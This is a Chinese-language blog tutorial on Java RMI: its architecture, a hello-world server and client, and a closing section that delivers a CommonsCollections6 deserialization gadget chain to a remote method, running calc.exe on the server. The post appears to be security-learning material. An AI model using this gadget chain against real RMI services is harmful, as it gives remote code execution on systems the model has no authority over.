【java安全】RMI
文章目录
- 【java安全】RMI
- 前言
- RMI的组成
- RMI实现
- Server
- 0x01 编写一个远程接口
- 0x02 实现该远程接口
- 0x03 Registry注册远程对象
- Client
- 小疑问
- RMI攻击
【java安全】RMI
前言
RMI
全称为:Remote Method Invocation
远程方法调用,是java独立的一种机制。
RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法
在网络传输的过程中,RMI
中对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI
服务端在接收到序列化后的会将对象进行反序列化。
在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI
就可以作为反序列化利用链的触发点 *****
RMI的组成
RMI主要分为三个部分:
- Client客户端:客户端调用服务端的方法
- Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果
- Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用
RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样
唯一区别就是RMI服务端提供的方法,被调用时方法是执行在服务端
为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。
RMI Register 像一个网关,自己不会执行远程方法,但是RMI Server可以在上面注册一个Name到对象的绑定关系,RMI Client通过这个Name向RMI Registry查询,获得绑定关系,然后连接RMI Server。最后,远程方法在RMI Server上调用
RMI实现
Server
一个RMIServer
分为三个部分:
- 一个继承了
java.rmi.Remote
的接口,其中定义我们想要远程调用的函数,比如这里的hello()
- 一个实现了此接口的类,此类实现了函数体,并且继承
UnicastRemoteObject
类 - 一个主类,用来创建
Registry
,并将上面的类实例化后绑定到一个地址。这就是所谓Server了
0x01 编写一个远程接口
public interface IRemoteHelloWorld extends Remote {public String hello() throws RemoteException;
}
- 这个接口需要使用
public
声明,否则客户端尝试加载远程接口的对象会出错(除非客户端、服务端放在一起) - 继承
java.rmi.Remote
接口 - 接口的方法需要抛出
RemoteException
异常
0x02 实现该远程接口
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{protected RemoteHelloWorld() throws RemoteException {}public String hello() throws RemoteException {System.out.println("hello~~~()");return "Hello,World!";}
}
- 该类实现远程接口
- 继承
UnicastRemoteObject
类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。) - 构造方法抛出
RemoteException
异常 - 实现类中使用的对象必须都可序列化,即都继承
java.io.Serilizable
0x03 Registry注册远程对象
上面我们已经把远程调用的类创建好了,接下来我们怎么创建并调用它呢?
Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。
这种思想是由:java.rmi.registry.Registry
和java.rmi.Nameing
来实现的
先说:java.rmi.Nameing
,这是一个final
类,提供了在远程对象注册表中存储和获取远程对象引用的方法
这个类的每个方法中都有一个URL
格式的参数,格式为://host:port/ObjectName
- host表示注册表所在的主机
- port表示注册表接受调用的端口号,默认1099
- name表示一个注册的
Remote Object
的引用名称
那么就好理解了,我们实现了服务端待调用的对象,现在我们需要利用Naming.rebind()
函数将其注册到register
中
步骤:
- 利用
LocateRegistry.createRegistry(1099);
创建registry注册中心
- 实例化远程对象
- 将实例化对象绑定到
registry注册中心
public class RemoteServer {public static void main(String[] args) throws RemoteException, MalformedURLException {// 创建注册中心,指定1099端口LocateRegistry.createRegistry(1099);// 实例化远程对象RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();// 将远程对象绑定到注册中心,此处Name为:leekosNaming.rebind("rmi://localhost:1099/leekos", remoteHelloWorld); //注意字符串格式}
}
服务端我们已经搭建好了
Client
接下来我们需要搭建客户端,来远程执行服务器上的对象方法。
步骤如下:
- 使用
Naming
通过名字找到registry
中绑定的对象 - 调用对象的方法
这里我们使用Naming.lookup()
方法寻找registry
的对象
public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");String hello = iRemoteHelloWorld.hello();System.out.println(hello);}
}
小疑问
首先执行服务端:
接着执行客户端:
在客户端的控制台成功返回Hello,World!
此处我们发现了一个现象,为什么对象方法输出的hello~~~()
字符串在服务端输出呢?
这刚好证明了RMI中远程方法是在服务端调用的,并将方法执行结果返回给客户端
RMI攻击
既然我们可以远程调用服务器上的对象的方法,并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object
类型,我们就可以传入构造好的利用链对象,当反序列化时就会触发
此处使用java反序列化CommonsCollections6
链子
服务端代码如上,但是必须满足相关条件:
- 使用具有漏洞的Commons-Collections3.1组件
- RMI提供的远程对象的方法形参中有Object类型,这样才能实现反序列化链利用
客户端代码:
public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");Map map = getPayload();iRemoteHelloWorld.doWork(map);}public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {Transformer[] fakeTransformers = new Transformer[]{};Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, newObject[0]}),new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"})};Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);Map uselessMap = new HashMap();Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");Map hashMap = new HashMap();/**此处使用put()触发了hash()方法,从而未经readObject() RCE*我们需要先将ChainedTransformer值设置为假的fakeTransformers*/hashMap.put(tiedMapEntry, "value");//清空由于 hashMap.put 对 LazyMap 造成的影响outerMap.clear();Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");iTransformers.setAccessible(true);iTransformers.set(chainedTransformer, transformers);return hashMap;}}
使用CommonsCollections6
,可以在高版本java中利用。当我们运行代码时,弹出计算器:
相关文章:

【java安全】RMI
文章目录 【java安全】RMI前言RMI的组成RMI实现Server0x01 编写一个远程接口0x02 实现该远程接口0x03 Registry注册远程对象 Client 小疑问RMI攻击 【java安全】RMI 前言 RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。 RM…...

rcu链表综合实践
基础知识 rcu-read copy update的缩写。和读写锁起到相同的效果。据说牛逼一点。对于我们普通程序员,要先学会使用,再探究其内部原理。 链表的数据结构: struct list_head {struct list_head *next, *prev; };还有一种:struct h…...

odoo16-python框架-动作
总结 1 模型和视图的 设计之美 view_ids, view_id,view_mode 最终目的都是为了生成views, 也就是视图. 模型是死的,像男人,一成不变 视图像女人,千变万化, 姿态万千 一阴一阳之谓道,设计之美又在这里得到了体现 2 所有的动作都可以通过web界面来配置 可以通过在"设…...

微信小程序——同一控件的点击与长按事件共存的解决方案
✅作者简介:2022年博客新星 第八。热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏…...

selenium自动化-获取元素属性信息
在写自动化过程中我们会想验证自己的代码是否正确,比如登录之后,通过用户名或其他信息来证明你登录成功,或者点击链接后,是否会跳转新的页面。通过获取元素属性信息,可以解决我们的疑惑。 一、获取内容对象的内容信息 …...

LabVIEW开发小型减阻试验平台
LabVIEW开发小型减阻试验平台 湍流摩擦在粘性流体的阻力中起着重要作用,减少湍流摩擦是流体力学领域的热门话题之一。在油气管道的长距离流体输送中,泵站提供的几乎所有动力都用于克服流体的胫骨摩擦。在流体输送领域,船舶的蒙皮摩擦阻力占总…...

解决分类任务中数据倾斜问题
大家好,在处理文本分类任务时,基准测试流行的自然语言处理架构的性能是建立对可用选项的理解的重要步骤。在这里,本文将深入探讨与分类相关的最常见的挑战之一——数据倾斜。如果你曾经将机器学习(ML)应用于真实世界的…...

Vue3 word如何转成pdf代码实现
🙂博主:锅盖哒 🙂文章核心:word如何转换pdf 目录 1.前端部分 2.后端部分 在Vue 3中,前端无法直接将Word文档转换为PDF,因为Word文档的解析和PDF的生成通常需要在后端进行。但是,你可以通过Vu…...

fpga--流水灯
fpga流水灯的设计 思路:外部时钟频率50mhz,若要实现每隔0.5s闪烁一次,则使用内部计数器计数到24999999拉高一个周期电平,当电平被拉高的时候,进行LED灯电平的设置,每次检测到高电平,就进行一位…...

51单片机:数码管和矩阵按键
目录 一:动态数码管模块 1:介绍 2:共阴极和共阳极 A:共阴极 B:共阳极 C:转化表 3:74HC138译码器 4:74HC138译码器控制动态数码管 5:数码管显示完整代码 二:矩阵按键模块 1:介绍 2:原理图 3:矩阵按键代码 一:动态数码管模块 1:介绍 LED数码管:数码管是一种…...

Django + Xadmin 数据列表复选框显示为空,怎么修复这个问题?
问题描述: 解决方法: 后续发现的报错: 解决方案: 先根据报错信息定位到源代码: 在该文件顶部写入: from django.core import exceptions然后把: except models.FieldDoesNotExist修改为&…...

《向量数据库指南》——Milvus Cloud2.2.12 易用性,可视化,自动化大幅提升
Milvus Cloud又迎版本升级,三大新特性全力加持,易用性再上新台阶! 近期,Milvus Cloud上线了 2.2.12 版本,此次更新不仅一次性增加了支持 Restful API、召回原始向量、json_contains 函数这三大特性,还优化了 standalone 模式下的 CPU 使用、查询链路等性能,用一句话总…...

Python web实战 | 用 Flask 框架快速构建 Web 应用【实战】
概要 Python web 开发已经有了相当长的历史,从最早的 CGI 脚本到现在的全栈 Web 框架,现在已经成为了一种非常流行的方式。 Python 最早被用于 Web 开发是在 1995 年(90年代早期),当时使用 CGI 脚本编写动态 Web 页面…...

十、数据结构——链式队列
数据结构中的链式队列 目录 一、链式队列的定义 二、链式队列的实现 三、链式队列的基本操作 ①初始化 ②判空 ③入队 ④出队 ⑤获取长度 ⑥打印 四、循环队列的应用 五、总结 六、全部代码 七、结果 在数据结构中,队列(Queue)是一种常见…...

Improving Cross-Modal Retrieval with Set of Diverse Embeddings
框架图: Using Triplet Loss: Smooth-Chamfer similarity Using Log-Sum-Exp,...
物联网阀控水表计量准确度如何?
物联网阀控水表是一种新型的智能水表,它采用了先进的物联网技术,可以通过远程控制和监测水表的运行情况,实现更加精准的水量计量和费用结算。那么,物联网阀控水表的计量准确度如何呢?下面我们将从以下几个方面进行详细…...

【C语言数据结构】模拟·顺序表·总项目实现
💐 🌸 🌷 🍀 🌹 🌻 🌺 🍁 🍃 🍂 🌿 🍄🍝 🍛 🍤 📃个人主页 :阿然成长日记 …...

自然语言处理从入门到应用——LangChain:模型(Models)-[文本嵌入模型Ⅰ]
分类目录:《自然语言处理从入门到应用》总目录 本文将介绍如何在LangChain中使用Embedding类。Embedding类是一种与嵌入交互的类。有很多嵌入提供商,如:OpenAI、Cohere、Hugging Face等,这个类旨在为所有这些提供一个标准接口。 …...

使用Gradio构建生成式AI应用程序; Stability AI推出Stable Diffusion XL 1.0
🦉 AI新闻 🚀 Stability AI推出最先进的AI工具Stable Diffusion XL 1.0 摘要:Stability AI宣布推出Stable Diffusion XL 1.0,该版本是其迄今为止最先进的AI工具。Stable Diffusion XL 1.0提供更鲜艳、更准确的图片生成ÿ…...

Java 递归计算斐波那契数列指定位置上的数字
Java 递归计算斐波那契数列指定位置上的数字 一、原理二、代码实现三、运行结果 一、原理 斐波那契数列(Fibonacci sequence),又称黄金分割数列,因数学家莱昂纳多斐波那契(Leonardo Fibonacci)以兔子繁殖为…...

ai数字人透明屏的应用场景有哪些?
AI数字人透明屏的应用场景: 银行、保险、售楼处等接待场景:AI数字人透明屏可以作为接待员,提供详细的信息和导航,提高客户体验和服务效率。 商业街、购物中心等场所:AI数字人透明屏可以作为导购员,提供商品…...

一、1、Hadoop的安装与环境配置
安装JDK: 首先检查Java是否已经安装: java -version 如果没有安装,点击链接https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 并选择相应系统以及位数下载(本文选择jdk-8u381-linux-x64…...

剑指YOLOv7改进最新MPDIoU损失函数(23年7月首发论文):论文实测YOLOv7模型涨点,超越现有多种G/D/C/EIoU,高效准确的边界框回归的损失
💡本篇内容:剑指YOLOv7改进最新MPDIoU损失函数(23年7月首发论文):论文实测YOLOv7模型涨点,超越现有多种G/D/C/EIoU,高效准确的边界框回归的损失 💡🚀🚀🚀本博客 改进源代码改进 适用于 YOLOv7 按步骤操作运行改进后的代码即可 💡:重点:该专栏《剑指YOLOv7原…...

前端JavaScript面试100问(上)
1、解释一下什么是闭包 ? 闭包:就是能够读取外层函数内部变量的函数。闭包需要满足三个条件: 访问所在作用域;函数嵌套;在所在作用域外被调用 。 优点: 可以重复使用变量,并且不会造成变量污染 。缺点&am…...

C语言第九课------------------数组----------------C中之将
作者前言 作者介绍: 作者id:老秦包你会, 简单介绍: 喜欢学习C语言和python等编程语言,是一位爱分享的博主,有兴趣的小可爱可以来互讨 个人主页::小小页面 gitee页面:秦大大 一个爱分享的小博主 欢迎小可爱…...

MySQL的安装
掌握在Windows系统中安装MySQL数据库 MySQL的介绍 MySQL数据库管理系统由瑞典的DataKonsultAB公司研发,该公司被Sun公司收购,现在Sun公司又被Oracle公司收购,因此MySQL目前属于 Oracle 旗下产品。MySQL 软件采用了双授权政策,分…...

在Chrome(谷歌浏览器)中安装Vue.js devtools开发者工具及解决Vue.js not detected报错
文章目录 一、Vue.js devtools开发者工具安装1.打开谷歌浏览器——点击扩展程序——选择管理扩展程序2.先下载添加一个谷歌助手到扩展程序中(根据提示进行永久激活)3.点击谷歌浏览器的应用商店4.输入Vue.js devtools——搜索——选择下载 二、解决Vue.js…...

用Python实现概率矩阵分解(PMF)算法在MovieLens ml-100k数据集上构建精确的推荐系统:深入理解GroupLens数据的操作
第一部分:推荐系统的重要性以及概率矩阵分解的介绍 在如今的数字化时代,推荐系统在我们的日常生活中起着重要的作用。无论我们在哪个电商网站上购物,哪个音乐平台听歌,或者在哪个电影网站看电影,都会看到推荐系统的身影。它们根据我们的喜好和行为,向我们推荐可能喜欢的…...

WPF icon的设置
想给控件设置个圆形图片,代码如下: <Setter Property"Icon"><Setter.Value><Image Source"/WpfApp1;component/Resource/1.ico" Width"16" Height"16"/></Setter.Value></Setter&…...

使用frp中的xtcp映射穿透指定服务实现不依赖公网ip网速的内网穿透p2p
使用frp中的xtcp映射穿透指定服务实现不依赖公网ip网速的内网穿透p2p 管理员Ubuntu配置公网服务端frps配置service自启(可选) 配置内网服务端frpc配置service自启(可选) 使用者配置service自启(可选) 效果 通过frp实现内网client访问另外一个内网服务器 管理员 1)…...